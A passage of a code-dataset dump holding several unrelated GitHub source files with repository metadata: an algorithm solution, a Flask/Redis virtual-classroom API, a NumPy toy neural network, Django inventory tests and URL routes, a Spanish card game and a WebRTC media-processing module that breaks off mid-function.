range(len(temp)): # 배포 계산(progresses가 없는 경우 실행 안됨)\n if not ans: # 값이 없는 경우(처음에만 실행됨)\n ans.append(1)\n else:\n if temp[i] <= temp[idx]: # 작업 일수가 더 작은 경우\n ans[-1] += 1\n else: # 더 큰 경우\n ans.append(1) # 새로 1을 추가\n idx = i\n \n return ans\n","repo_name":"Yookaser/Algorithm","sub_path":"Programmers/Level_2/pr42586.py","file_name":"pr42586.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9545592672","text":"import json, os, uuid, datetime\n\nfrom flask import session, jsonify, redirect, render_template, safe_join, g\nfrom flask_restful import Resource, fields, reqparse\nfrom redis import Redis\nfrom flask_sse import sse\n\nfrom xiyoumenapp import webapp, db\nfrom xiyoumenapp.models import Classroom, Users, Users_Classroom, Chatroom\nfrom xiyoumenapp.conference import Conference\nfrom xiyoumenapp.jsonapp import JsonManage\n\npage_path = safe_join(\"templates\", \"frontend\")\nfilename_teacher = \"webinar_teacher.html\"\nfilename_student = \"webinar_student.html\"\npage_teacher = safe_join(page_path, filename_teacher)\npage_student = safe_join(page_path, filename_student)\n\nparser = reqparse.RequestParser()\nparser.add_argument('txt')\nparser.add_argument('teaname')\nparser.add_argument('stuname')\nparser.add_argument('tealinkstatus')\nparser.add_argument('stulinkstatus')\nparser.add_argument('whiteboard')\n# parser.add_argument('whiteboard')\nparser.add_argument('pptposition')\nparser.add_argument('pptinfo')\n\n\n\nredis_store = Redis(charset='utf-8', decode_responses=True)\n\n\nclass Test(Resource):\n \"\"\"\n # Class Test test the connection of website\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET\n \"\"\"\n try:\n notice_resp = \"wellcome to xiyoumen.com\"\n return notice_resp\n except Exception as err:\n print(err)\n\n\nclass Login(Resource):\n \"\"\"\n # Class Login check access to link into ClassRoom and build session\n \"\"\"\n def get(self, classid, userid):\n \"\"\"\n # function get response http GET with login.html\n \"\"\"\n try:\n notice_err = \"You have no available for this class\"\n ins_json = JsonManage()\n ins_json.save_classinfo()\n ins_con = Conference(classid, userid)\n\n if ins_con.check_access() is None:\n return notice_err\n else:\n classroom = Classroom.query.filter_by(id=classid).all()\n classname = classroom[0].name\n users = Users.query.filter_by(id=userid).all()\n username = users[0].name\n roleid = users[0].roleid\n\n session['classid'] = classid\n session['userid'] = userid\n tempclassstr = classid.split(\"-\")\n session['classstr'] = ''.join(tempclassstr)\n session['roleid'] = roleid\n print(session['classstr'])\n redis_store.set('classname:'+classid, classname)\n redis_store.set('username:'+userid, username)\n redis_store.set('roleid:'+userid, roleid)\n\n # print(session) \n return redirect(fields.url_for('classapi.class_ep'))\n except Exception as err:\n print(err)\n\n\nclass ClassRoom(Resource):\n \"\"\"\n # Class classRoom is resource of \"class_ep\"\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET with classroom.html\n \"\"\"\n try:\n if ('classid' in session) and ('userid' in session):\n classid =session['classid']\n userid = session['userid']\n roleid = int(redis_store.get(\"roleid:\"+userid))\n if roleid == 1:\n redis_store.delete('tea_list:' + classid)\n redis_store.delete('stu_list:' + classid)\n redis_store.delete('tealinkstatus_dict:' + classid)\n redis_store.delete('stulinkstatus_dict:' + classid)\n # redis_store.delete('ass_list:' + classid)\n # redis_store.delete('asslinkstatus_dict:' + classid)\n # redis_store.delete('teavideostatus_dict:' + classid)\n # redis_store.delete('assvideostatus_dict:' + classid)\n # redis_store.delete('stuvideostatus_dict:' + classid)\n # redis_store.delete('teasoundstatus_dict:' + classid)\n # redis_store.delete('asssoundstatus_dict:' + classid)\n # redis_store.delete('stusoundstatus_dict:' + classid)\n redis_store.delete(\"chatnum:\"+classid)\n redis_store.delete('chatcontent:' + classid)\n redis_store.delete('whiteboard:' + classid)\n redis_store.delete('ppt:' + classid)\n redis_store.set(\"chatnum:\"+classid, 0)\n\n return webapp.send_static_file(page_teacher)\n elif roleid == 2:\n return webapp.send_static_file(page_student)\n else:\n return \"There are some problems\"\n except Exception as err:\n print(\"Fail to get classroom info\")\n print(err)\n\n\nclass Token(Resource):\n \"\"\"\n # This class returns token json\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET with token json\n \"\"\"\n try:\n if ('classid' in session) and ('userid' in session):\n classid = session['classid']\n userid = session['userid']\n username = redis_store.get('username:'+userid)\n ins_conference = Conference(classid, userid)\n tmptoken = ins_conference.get_accesstoken()\n # tmptoken = jsonify(identity=tmptoken.identity,\n # token=tmptoken.to_jwt())\n mytoken = dict(identity=username,\n token=tmptoken.to_jwt())\n print('Success to create token')\n print(mytoken)\n return mytoken\n else:\n # return redirect(fields.url_for('login_ep'))\n return \"There are some problme about token\"\n except Exception as err:\n print(err)\n\n\nclass Whiteboard(Resource):\n \"\"\"\n # This class returns whiteboard json\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET with token json\n \"\"\"\n try:\n if ('classid' in session) and ('userid' in session):\n classid = session['classid']\n mydrawing = redis_store.hgetall('whiteboard:' + classid)\n # print(\"Start to get whiteboard object json {0}\".format(mydrawing))\n print('Success to get whiteboard')\n return mydrawing\n else:\n # return redirect(fields.url_for('login_ep'))\n return \"There are some problme about token\"\n except Exception as err:\n print(err)\n\n def post(self):\n\n \"\"\"\n # function post response http POST whiteboard\n \"\"\"\n try:\n print(\"ready to receive post message\")\n args = parser.parse_args()\n if ('classid' in session) and ('userid' in session):\n classid = session['classid']\n whiteboard = args['whiteboard']\n print(\"Start to parse whiteboard object json {0}\".format(whiteboard))\n drawing_dict = json.loads(whiteboard)\n redis_store.hmset(\"whiteboard:\" + classid, drawing_dict)\n return \"Success to add new whiteboard\"\n else:\n return \"You have no right to do this\"\n except Exception as err:\n print(\"Fail to add whiteboard\")\n print(err)\n\n\nclass PPT(Resource):\n \"\"\"\n # Class State is resource of \"state_ep\"\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET\n \"\"\"\n try:\n if ('classid' in session) and ('userid' in session):\n classid = session['classid']\n ppt_info = {}\n dir_file = os.path.dirname(os.path.abspath(__file__))\n dir_ppt = safe_join(dir_file, \"static\")\n dir_ppt = safe_join(dir_ppt, \"courseware\")\n dir_ppt = safe_join(dir_ppt, session['classid'])\n dir_ppt = safe_join(dir_ppt, \"ppt\")\n print(\"PPT directory is \" + dir_ppt)\n filelist = os.listdir(dir_ppt)\n ppt_info[\"pptlist\"] = filelist\n if (redis_store.exists(\"ppt:\"+classid)):\n ppt_info[\"pptinfo\"] = redis_store.get(\"ppt:\" + classid)\n return ppt_info\n else:\n return \"You have no right to do this\"\n except Exception as err:\n print(\"Fail to get info\")\n print(err)\n\n def post(self):\n\n \"\"\"\n # function post response http POST position with info\n \"\"\"\n try:\n print('Begin to post')\n print(session)\n args = parser.parse_args()\n classid = session['classid']\n userid = session['userid']\n classstr = session['classstr']\n roleid = int(redis_store.get(\"roleid:\"+userid))\n print(roleid)\n if ('classid' in session) and ('userid' in session):\n if (roleid == 1):\n pptposition = args['pptposition']\n pptinfo = args['pptinfo']\n if (pptposition is not None):\n sse.publish({\"pptposition\":pptposition},\n type=\"newposition\"+classstr,\n channel=\"changed.ppt\" )\n if (pptinfo is not None):\n sse.publish({\"pptinfo\":pptinfo},\n type=\"pptinfo\"+classstr,\n channel=\"changed.ppt\" )\n redis_store.set('ppt:'+classid, pptinfo)\n except Exception as err:\n print(\"Fail to get info\")\n print(err)\n\n\nclass Info(Resource):\n \"\"\"\n # Class Info is resource of \"info_ep\"\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET with classroom.html\n \"\"\"\n try:\n userinfo = {}\n if ('classid' in session) and ('userid' in session):\n print(\"Begin to get /info/\")\n print(session)\n classid = session['classid']\n userid = session['userid']\n classstr = session['classstr']\n\n userinfo[\"classname\"] = redis_store.get(\"classname:\"+classid)\n userinfo[\"username\"] = redis_store.get(\"username:\"+userid)\n userinfo[\"classid\"] = session[\"classid\"]\n userinfo[\"userid\"] = session[\"userid\"]\n userinfo[\"classstr\"] = session['classstr']\n userinfo[\"roleid\"] = int(redis_store.get(\"roleid:\"+userid))\n roleid = userinfo[\"roleid\"]\n\n if ( not redis_store.exists(\"stu_list:\"+classid) and roleid == 1 ):\n print(\"first time load redis store\")\n print(session)\n uc = Users_Classroom.query.filter_by(classid=classid).all()\n tid_list = [ti.userid for ti in uc]\n print(tid_list)\n\n teachers = Users.query.filter_by(roleid=1).all()\n tea_list = []\n for tea in teachers:\n if tea.id in tid_list:\n tea_list.append(tea.name)\n\n students = Users.query.filter_by(roleid=2).all()\n stu_list = []\n for stu in students:\n if stu.id in tid_list:\n stu_list.append(stu.name)\n\n for ti in tea_list:\n redis_store.lpush(\"tea_list:\"+classid, ti)\n redis_store.hset('tealinkstatus_dict:'+classid, ti, 0)\n\n for si in stu_list:\n redis_store.lpush(\"stu_list:\"+classid, si)\n redis_store.hset('stulinkstatus_dict:'+classid, si, 0)\n\n tea_list = redis_store.lrange('tea_list:'+classid, 0, -1)\n stu_list = redis_store.lrange('stu_list:'+classid, 0, -1)\n\n tealinkstatus_hash = redis_store.hgetall('tealinkstatus_dict:'+classid)\n stulinkstatus_hash = redis_store.hgetall('stulinkstatus_dict:'+classid)\n\n tealinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n stulinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n\n for (k, v) in tealinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n tealinkstatus_dict[str(ni)].append(k)\n break\n\n for (k, v) in stulinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n stulinkstatus_dict[str(ni)].append(k)\n break\n\n if userinfo['roleid'] == 1:\n userinfo[\"teacher\"] = tea_list\n userinfo[\"student\"] = stu_list\n\n userinfo[\"tealinkstatuslist\"] = tealinkstatus_dict\n userinfo[\"stulinkstatuslist\"] = stulinkstatus_dict\n\n\n if userinfo['roleid'] == 2:\n userinfo[\"tealinkstatuslist\"] = tealinkstatus_dict\n userinfo[\"teacher\"] = tea_list\n\n print(userinfo)\n print('Success to get userinfo')\n return userinfo\n else:\n return userinfo\n except Exception as err:\n print(\"Fail to get info\")\n print(err)\n\n def post(self):\n \"\"\"\n # function post response http POST teastatus with info\n \"\"\"\n try:\n print('Begin to post')\n print(session)\n args = parser.parse_args()\n classid = session['classid']\n userid = session['userid']\n classstr = session['classstr']\n username = redis_store.get('username:'+userid)\n roleid = int(redis_store.get(\"roleid:\"+userid))\n print(roleid)\n\n userinfo = {}\n userinfo[\"classname\"] = redis_store.get(\"classname:\"+classid)\n userinfo[\"username\"] = redis_store.get(\"username:\"+userid)\n userinfo[\"classid\"] = session[\"classid\"]\n userinfo[\"userid\"] = session[\"userid\"]\n userinfo[\"classstr\"] = session['classstr']\n userinfo[\"roleid\"] = int(redis_store.get(\"roleid:\"+userid))\n\n if ('classid' in session) and ('userid' in session):\n\n if roleid == 1:\n teaname = args['teaname']\n tealinkstatus = args['tealinkstatus']\n print(\"print post info\");\n print(teaname);\n print(tealinkstatus);\n\n if tealinkstatus is not None:\n print(\"Teacher status changes to {0}\".format(str(tealinkstatus)))\n redis_store.hset('tealinkstatus_dict:'+classid,\n teaname, tealinkstatus)\n\n tealinkstatus_hash = redis_store.hgetall('tealinkstatus_dict:'+classid)\n tealinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n for (k, v) in tealinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n tealinkstatus_dict[str(ni)].append(k)\n break\n\n sse.publish({\"tealinkstatus\":tealinkstatus_dict},\n type=\"newtealinkstatus\"+classstr,\n channel=\"changed.status\")\n print(tealinkstatus_dict)\n print(\"newtealinkstatus\"+classstr)\n\n\n stuname = args['stuname']\n stulinkstatus = args['stulinkstatus']\n\n if stulinkstatus is not None:\n print(\"Student status changes to {0}\".format(str(stulinkstatus)))\n redis_store.hset('stulinkstatus_dict:'+classid,\n stuname, stulinkstatus)\n\n stulinkstatus_hash = redis_store.hgetall('stulinkstatus_dict:'+classid)\n stulinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n for (k, v) in stulinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n stulinkstatus_dict[str(ni)].append(k)\n break\n\n sse.publish({\"stulinkstatus\":stulinkstatus_dict},\n type=\"newstulinkstatus\"+classstr,\n channel=\"changed.status\")\n print(stulinkstatus_dict)\n print(\"newstulinkstatus\"+classstr)\n\n tea_list = redis_store.lrange('tea_list:'+classid, 0, -1)\n stu_list = redis_store.lrange('stu_list:'+classid, 0, -1)\n\n tealinkstatus_hash = redis_store.hgetall('tealinkstatus_dict:'+classid)\n stulinkstatus_hash = redis_store.hgetall('stulinkstatus_dict:'+classid)\n\n tealinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n stulinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n\n for (k, v) in tealinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n tealinkstatus_dict[str(ni)].append(k)\n break\n\n for (k, v) in stulinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n stulinkstatus_dict[str(ni)].append(k)\n break\n\n userinfo[\"teacher\"] = tea_list\n userinfo[\"student\"] = stu_list\n userinfo[\"tealinkstatuslist\"] = tealinkstatus_dict\n userinfo[\"stulinkstatuslist\"] = stulinkstatus_dict\n\n print(\"Success to update status in session\")\n return userinfo\n elif roleid == 2:\n stuname = args['stuname']\n stulinkstatus = args['stulinkstatus']\n print(\"Student status changes to {0}\".format(str(stulinkstatus)))\n redis_store.hset('stulinkstatus_dict:'+classid,\n stuname, stulinkstatus)\n\n stulinkstatus_hash = redis_store.hgetall('stulinkstatus_dict:'+classid)\n stulinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n for (k, v) in stulinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n stulinkstatus_dict[str(ni)].append(k)\n break\n\n sse.publish({\"stulinkstatus\":stulinkstatus_dict},\n type=\"newstulinkstatus\"+classstr,\n channel=\"changed.status\")\n print(stulinkstatus_dict)\n print(\"newstulinkstatus\"+classstr)\n\n tea_list = redis_store.lrange('tea_list:'+classid, 0, -1)\n tealinkstatus_hash = redis_store.hgetall('tealinkstatus_dict:'+classid)\n tealinkstatus_dict = {\"0\": [], \"1\": [], \"2\": [], \"3\": []}\n for (k, v) in tealinkstatus_hash.items():\n for ni in range(4):\n if v == str(ni):\n tealinkstatus_dict[str(ni)].append(k)\n break\n\n userinfo[\"teacher\"] = tea_list\n userinfo[\"tealinkstatuslist\"] = tealinkstatus_dict\n\n print(\"Success to update status in session\")\n return userinfo\n else:\n return \"role id is not existed\"\n else:\n print(\"You have no right to do this\")\n return \"You have no right to do this\"\n except Exception as err:\n print(\"Fail to update status\")\n print(err)\n\n\nclass ChatList(Resource):\n \"\"\"\n # Class ChatList is resource of \"chat_ep\"\n \"\"\"\n def get(self):\n \"\"\"\n # function get response http GET with classroom.html\n \"\"\"\n try:\n dic_chatlist = {}\n nowtime = datetime.datetime.now()\n if ('classid' in session) and (\n 'userid' in session):\n classid = session['classid']\n classname = redis_store.get('classname:'+classid)\n\n dic_chatlist = dict(classname=classname, chatcontent=[])\n\n chatcontent_list = redis_store.lrange(\"chatcontent:\"+classid, 0, -1)\n print(\"Read from redis\")\n print(chatcontent_list)\n for i in range(0,len(chatcontent_list),5):\n dic_chatitem = dict(chatnum=chatcontent_list[i+4],\n username=chatcontent_list[i+3],\n createtime=chatcontent_list[i+2],\n rolename=chatcontent_list[i+1],\n question=chatcontent_list[i+0])\n dic_chatlist[\"chatcontent\"].append(dic_chatitem)\n print(dic_chatlist)\n return dic_chatlist\n except Exception as err:\n print(\"Fail to get info\")\n print(err)\n\n def post(self):\n\n \"\"\"\n # function post response http POST txt to chatlist\n \"\"\"\n try:\n print(\"ready to receive post message\")\n args = parser.parse_args()\n if ('classid' in session) and ('userid' in session):\n classid = session['classid']\n userid = session['userid']\n classstr = session['classstr']\n question = args['txt']\n chatnum = str(int(redis_store.get(\"chatnum:\"+classid))+1)\n username = redis_store.get(\"username:\"+userid)\n roleid = redis_store.get(\"roleid:\"+userid)\n createtime = datetime.datetime.now()\n\n if roleid == '1':\n rolename = \"teacher\"\n elif roleid == '2':\n rolename = \"student\"\n createtimestr = createtime.strftime(\"%Y-%m-%d %H:%M:%S\")\n newmessage = dict(chatnum=chatnum,\n username=username,\n createtime=createtimestr,\n rolename=rolename,\n question=question)\n print(\"Ready to save redis\")\n redis_store.lpush(\"chatcontent:\"+classid, chatnum)\n redis_store.lpush(\"chatcontent:\"+classid, username)\n redis_store.lpush(\"chatcontent:\"+classid, createtimestr)\n redis_store.lpush(\"chatcontent:\"+classid, rolename)\n redis_store.lpush(\"chatcontent:\"+classid, question)\n redis_store.set(\"chatnum:\"+classid, chatnum)\n print(newmessage)\n sse.publish({\"message\":newmessage},\n type=(\"newchatmessage\"+classstr),\n channel=\"changed.chatroom\")\n # print(\"newchatmessage\"+classstr)\n # print(len(\"newchatmessage\"+classstr))\n return newmessage\n else:\n return \"You have no right to do this\"\n except Exception as err:\n print(\"Fail to add chat text\")\n print(err)\n","repo_name":"xiyoumenwebdev/xiyoumen_test","sub_path":"xiyoumenapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26026579679","text":"# referencia: https: // github.com/INF800/Numpy-FFNN/blob/master/FFNN.py\n\nimport numpy as np\nfrom sklearn.datasets import make_classification\n\n\ndef nonlin(x, deriv=False):\n if deriv == True:\n return (x*(1-x))\n return (1/(1+np.exp(-x)))\n\n\nx, y = make_classification(n_samples=100, n_features=3,\n n_informative=3, n_redundant=0, n_classes=2)\n\nnp.random.seed(1)\n# feedforward\nw1 = 2*np.random.random((3, 1)) - 1\nw2 = 2*np.random.random((1, 100)) - 1\n\nfor j in range(60000):\n\n l0 = x\n l1 = nonlin(np.dot(l0, w1))\n l2 = nonlin(np.dot(l1, w2))\n\n # BACKPROPGATION\n l2_error = y - l2\n\n # printing status\n if(j % 10000) == 0:\n print('Error : ' + str(np.mean(np.abs(l2_error))))\n\n # calculte deltas\n l2_delta = l2_error*nonlin(l2, deriv=True)\n l1_error = l2_delta.dot(w2.T)\n l1_delta = l1_error*nonlin(l1, deriv=True)\n\n # update our synapses\n w2 += l1.T.dot(l2_delta)\n w1 += l0.T.dot(l1_delta)\n\nprint('Output after training')\nprint(l2)\n","repo_name":"MarcoRamirezGT/LAB04_IA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72715755666","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\n\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom .models import Product, Movement\n# Create your tests here.\n\n\nclass MovementTests(APITestCase):\n\n def setUp(self):\n self.products = [\n {'name': 'Water', 'price': \"2.50\", 'sku': 'WATER-500'},\n {'name': 'Soda', 'price': \"4.00\", 'sku': 'SODA-350'},\n {'name': 'Sugar', 'price': \"3.00\", 'sku': 'SUGAR-1000'}\n ]\n for values, klass in [(self.products, Product)]:\n for props in values:\n klass.objects.create(**props)\n\n def test_create_mov(self):\n url = reverse('movement-list')\n data = {\n 'product': reverse('product-detail', args=[Product.objects.get(name='Water').id]),\n 'quantity': 5,\n 'kind': Movement.IN\n }\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(Movement.objects.count(), 1)\n self.assertEqual(Product.objects.get(name='Water').quantity, 5)\n\n data = {\n 'product': reverse('product-detail', args=[Product.objects.get(name='Water').id]),\n 'quantity': 6,\n 'kind': Movement.OUT\n }\n\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertEqual(Movement.objects.count(), 1)\n self.assertEqual(Product.objects.get(name='Water').quantity, 5)\n","repo_name":"gilvanleal/inventory","sub_path":"stock/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10771603129","text":"'''\r\nTP1\r\n1) Generar un mazo de cartas españolas al azar, se entiende por mazo de cartas a un\r\nconjunto de 48 cartas no ordenadas y almacenarlas en una pila de cartas.\r\n(Pista: investigar el tipo de datos set para obtener las 48 cartas sin repeticiones)\r\n2) A continuación se pide programar el siguiente juego:\r\nRepartir una carta a cada uno de 4 jugadores formando así una mano, gana la mano el\r\njugador que tenía la carta de mayor valor. El premio del ganador de la mano es\r\nacumular las cartas de la mano en su propia pila, es decir, que cada jugador poseerá\r\nuna pila de cartas inicialmente en estado vacío. Repetir este proceso hasta que no\r\nqueden cartas en el mazo. Gana el juego el jugador cuya pila de cartas tenga\r\nacumulado el mayor valor sumando el valor numérico de todas las cartas que se\r\nencuentran en su pila. Si hay dos o más jugadores con igual suma se tendrá en cuenta\r\nla cantidad de manos ganadas para desempatar el juego.\r\n'''\r\nfrom random import randint\r\n\r\n\r\ndef generarCarta():\r\n '''Devuelve una tupla conformada por el valor de carta (1 a 12) y el palo'''\r\n palo = ('O','B','C','E')\r\n return (randint(1,12),palo[randint(0,3)])\r\n\r\n\r\ndef generarMazo():\r\n ''' Devuelve un mazo que es un set con 48 tuplas'''\r\n mazo = set()\r\n while len(mazo) < 48:\r\n mazo.add(generarCarta())\r\n return mazo\r\n\r\n\r\ndef repartirCarta(mazo):\r\n '''saca el ultimo item del set mazo y lo devuelve, es una tupla'''\r\n return mazo.pop()\r\n\r\n\r\ndef generarManos(mazo):\r\n ''' genera una lista con cuatr cartas(tuplas) cada una pertenece a un jugador distinto'''\r\n manos = []\r\n while len(manos) < 4:\r\n manos.append(repartirCarta(mazo))\r\n return manos\r\n\r\n\r\ndef cartaMayor(manos):\r\n '''Devulve indice de jugador que gana'''\r\n cMayor = 0\r\n j = 0 \r\n for i in range(4):\r\n # como no dice que pasa si hay dos valores iguales en la mano gana el primero que se registra\r\n if cMayor < manos[i][0]:\r\n cMayor = manos[i][0]\r\n j = i\r\n return j\r\n\r\n\r\ndef ganadorFinal(jgds,contMG):\r\n sumas = {'1': 0,'2': 0,'3': 0,'4': 0}\r\n for j in jgds:\r\n suma = 0\r\n for t in jgds[j]:\r\n suma += t[0]\r\n sumas[j] = suma\r\n maxi = 0\r\n i = ''\r\n for j in sumas:\r\n if maxi < sumas[j]:\r\n maxi = sumas[j]\r\n i = j\r\n elif maxi == sumas[j]:\r\n if contMG[i] < contMG[j]:\r\n i = j \r\n # print(sumas)\r\n return i\r\n\r\n\r\ndef juegoCartas():\r\n jgds = {'1': [],'2': [],'3': [],'4': []}\r\n mazo = generarMazo()\r\n contMG = {'1': 0,'2': 0,'3': 0,'4': 0}\r\n while len(mazo) > 0:\r\n manos = generarManos(mazo)\r\n ganaMano = str(cartaMayor(manos)+1)\r\n contMG[ganaMano] += 1 \r\n jgds[ganaMano].extend(manos)\r\n print('El ganador es el jugador {}'.format(ganadorFinal(jgds, contMG)))\r\n # print(contMG)\r\n\r\n\r\njuegoCartas()\r\n\r\n","repo_name":"CdoubleO/Python_Practica","sub_path":"TPs/cartas.py","file_name":"cartas.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74926909584","text":"\"\"\"webprogramming URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom cricketclubinformation.views import*\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', home, name = 'home'),\n path('player/registration/form/', player_registration, name = \"player_registration\"),\n path('contact/form/', contact, name = \"contact\"),\n path('club/registration/form/', club_registration, name = 'club_registraoin'),\n path('player/performance/form/', player_performance, name = 'player_performance'),\n path('match/information/form/', match_information, name = 'match_information' ),\n path('team/information/form/', team_information, name = 'team_information'),\n\n]\n","repo_name":"alhasib/webprogramming","sub_path":"webprogramming/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23808268490","text":"import asyncio\nimport itertools\nimport logging\nimport queue\nimport sys\nimport threading\nimport time\nimport traceback\nfrom collections import deque\nfrom typing import Generic, List, Optional, Union\n\nimport av\nfrom aiortc import MediaStreamTrack\nfrom aiortc.mediastreams import MediaStreamError\n\nfrom .models import AudioProcessorT, FrameT, ProcessorT, VideoProcessorT\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\nclass MediaProcessTrack(MediaStreamTrack, Generic[ProcessorT, FrameT]):\n def __init__(self, track: MediaStreamTrack, processor: ProcessorT):\n super().__init__() # don't forget this!\n self.track = track\n self.processor: ProcessorT = processor\n\n @self.track.on(\"ended\")\n def on_input_track_ended():\n logger.debug(\"Input track %s ended. Stop self %s\", self.track, self)\n self.stop()\n\n async def recv(self):\n if self.readyState != \"live\":\n raise MediaStreamError\n\n frame = await self.track.recv()\n\n new_frame = self.processor.recv(frame)\n new_frame.pts = frame.pts\n new_frame.time_base = frame.time_base\n\n return new_frame\n\n def stop(self):\n super().stop()\n\n if hasattr(self.processor, \"on_ended\"):\n self.processor.on_ended()\n\n\nclass VideoProcessTrack(MediaProcessTrack[VideoProcessorT, av.VideoFrame]):\n kind = \"video\"\n processor: VideoProcessorT\n\n\nclass AudioProcessTrack(MediaProcessTrack[AudioProcessorT, av.AudioFrame]):\n kind = \"audio\"\n processor: AudioProcessorT\n\n\n__SENTINEL__ = \"__SENTINEL__\"\n\n# See https://stackoverflow.com/a/42007659\nmedia_processing_thread_id_generator = itertools.count()\n\n\nclass AsyncMediaProcessTrack(MediaStreamTrack, Generic[ProcessorT, FrameT]):\n def __init__(\n self,\n track: MediaStreamTrack,\n processor: ProcessorT,\n stop_timeout: Optional[float] = None,\n ):\n super().__init__() # don't forget this!\n\n self.track = track\n self.processor: ProcessorT = processor\n\n self._last_out_frame: Union[FrameT, None] = None\n\n self.stop_timeout = stop_timeout\n\n self._thread = None\n\n def _start(self):\n if self._thread:\n return\n\n self._in_queue: queue.Queue = queue.Queue()\n self._out_lock = threading.Lock()\n self._out_deque: deque = deque([])\n\n self._thread = threading.Thread(\n target=self._run_worker_thread,\n name=f\"async_media_processor_{next(media_processing_thread_id_generator)}\",\n daemon=True,\n )\n self._thread.start()\n\n @self.track.on(\"ended\")\n def on_input_track_ended():\n logger.debug(\"Input track %s ended. Stop self %s\", self.track, self)\n self.stop()\n\n def _run_worker_thread(self):\n try:\n self._worker_thread()\n except Exception:\n logger.error(\"Error occurred in the WebRTC thread:\")\n\n exc_type, exc_value, exc_traceback = sys.exc_info()\n for tb in traceback.format_exception(exc_type, exc_value, exc_traceback):\n for tbline in tb.rstrip().splitlines():\n logger.error(tbline.rstrip())\n\n async def _fallback_recv_queued(self, frames: List[FrameT]) -> FrameT:\n \"\"\"\n Used as a fallback when the processor does not have its own `recv_queued`.\n \"\"\"\n if len(frames) > 1:\n logger.warning(\n \"Some frames have been dropped. \"\n \"`recv_queued` is recommended to use instead.\"\n )\n if self.processor.recv:\n return [self.processor.recv(frames[-1])]\n\n return frames[-1]\n\n def _worker_thread(self):\n loop = asyncio.new_event_loop()\n\n tasks: List[asyncio.Task] = []\n\n while True:\n # Read frames from the queue\n item = self._in_queue.get()\n if item == __SENTINEL__:\n break\n\n queued_frames = [item]\n\n stop_requested = False\n while not self._in_queue.empty():\n item = self._in_queue.get_nowait()\n if item == __SENTINEL__:\n stop_requested = True\n break\n else:\n queued_frames.append(item)\n if stop_requested:\n break\n\n if len(queued_frames) == 0:\n raise Exception(\"Unexpectedly, queued frames do not exist\")\n\n # Set up a task, providing the frames.\n if hasattr(self.processor, \"recv_queued\"):\n coro = self.processor.recv_queued(queued_frames)\n else:\n coro = self._fallback_recv_queued(queued_frames)\n\n task = loop.create_task(coro=coro)\n tasks.append(task)\n\n # NOTE: If the execution time of recv_queued() increases\n # with the length of the input frames,\n # it increases exponentially over the calls.\n # Then, the execution time has to be monitored.\n start_time = time.monotonic()\n done, not_done = loop.run_until_complete(\n asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)\n )\n elapsed_time = time.monotonic() - start_time\n\n if (\n elapsed_time > 10\n ): # No reason for 10 seconds... It's an ad-hoc decision.\n raise Exception(\n \"recv_queued() or recv() is taking too long to execute, \"\n f\"{elapsed_time}s.\"\n )\n\n if len(done) > 1:\n raise Exception(\"Unexpectedly multiple tasks have finished\")\n\n done_idx = tasks.index(task)\n old_tasks = tasks[:done_idx]\n for old_task in old_tasks:\n logger.info(\"Cancel an old task %s\", task)\n old_task.cancel()\n tasks = [t for t in tasks if not t.done()]\n\n finished = done.pop()\n new_frames = finished.result()\n\n with self._out_lock:\n if len(self._out_deque) > 1:\n logger.warning(\n \"Not all the queued frames have been consumed, \"\n \"which means the processing and consuming threads \"\n \"seem not to be synchronized.\"\n )\n firstitem = 